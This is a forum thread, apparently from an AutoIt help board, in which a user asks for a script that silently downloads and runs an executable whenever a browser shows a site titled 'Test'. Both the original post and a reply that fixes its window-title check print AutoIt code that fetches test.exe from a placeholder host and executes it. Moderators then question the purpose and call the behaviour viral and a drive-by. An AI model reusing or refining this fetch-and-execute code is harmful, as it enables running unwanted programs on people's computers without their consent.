Sign in to follow this  
Followers 0
gl0w

Help

12 posts in this topic

Okay, I want that when a user enter x site get download and execute x file, but I tried to do does not work.

I want to work in every browser, ie, ff, chrome, opera, etc..

#include <Inet.au3>


While(1)
Sleep( 3000 )
Local $handle = WinGetHandle("[ACTIVE]")
If( $handle  = "Test - Windows Internet Explorer" ) Then
InetGet("http://www.site.com/test.exe", @TempDir & "\test.exe")
ShellExecute (@TempDir & "\test.exe")
EndIf
WEnd

 

Share this post


Link to post
Share on other sites



#2 ·  Posted (edited)

You're comparing the handle from "WinGetHandle()" to the text, instead of using "WinGetText()".

Try this:

#include <Inet.au3>


While 1
    Sleep(3000)
    Local $sWinText = WinGetText("[active]")
    If $sWinText = "Test - Windows Internet Explorer" Then
        InetGet("http://www.site.com/test.exe", @TempDir & "\test.exe")
        ShellExecute (@TempDir & "\test.exe")
    EndIf
WEnd
Edited by DatMCEyeBall

"Just be fred, all we gotta do, just be fred."  -Vocaliod

"That is a Hadouken. A KAMEHAMEHA would have taken him 13 days and 54 episodes to form." - Roden Hoxha

@tabhooked

Clock made of cursors ♣ Desktop Widgets ♣ Water Simulation

Share this post


Link to post
Share on other sites

did not work, it does not download the file

Share this post


Link to post
Share on other sites

 

Okay, I want that when a user enter x site get download and execute x file, but I tried to do does not work.

I want to work in every browser, ie, ff, chrome, opera, etc..

You want to do what exactly?


Visit the SciTE4AutoIt3 Download page for the latest versions        Beta files                                                          Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites

You want to do what exactly?

 

when user enters a website with the title "Test" download and run test.exe

Share this post


Link to post
Share on other sites

when user enters a website with the title "Test" download and run test.exe

That part I understood, but why would you want to do this?


Visit the SciTE4AutoIt3 Download page for the latest versions        Beta files                                                          Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites

That part I understood, but why would you want to do this?

work of university.

Share this post


Link to post
Share on other sites

work of university.

Please explain why this is a reasonable requirement and not something to is going to be used as prank .....


Visit the SciTE4AutoIt3 Download page for the latest versions        Beta files                                                          Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites

#10 ·  Posted (edited)

Please explain why this is a reasonable requirement and not something to is going to be used as prank .....

I need to present a project at university, I want to make a blocker PC when the user enters the site he runs the file that opens a splash screen.

Edited by gl0w

Share this post


Link to post
Share on other sites

I need to present a project at university, I want to make a blocker PC when the user enters the site he runs the file that opens a splash screen.

.. but do you understand where I am coming from?

I cannot see that downloading a file and executing it in the background. without the person using the PC knowing this, is something one ever want to do and is considered viral behaviour.

Jos


Visit the SciTE4AutoIt3 Download page for the latest versions        Beta files                                                          Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites

Why would you download a file anyway?  You already have a script running on the machine watching the browsers right?

The reason for suspicion is because what you are asking for is known as a drive-by.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0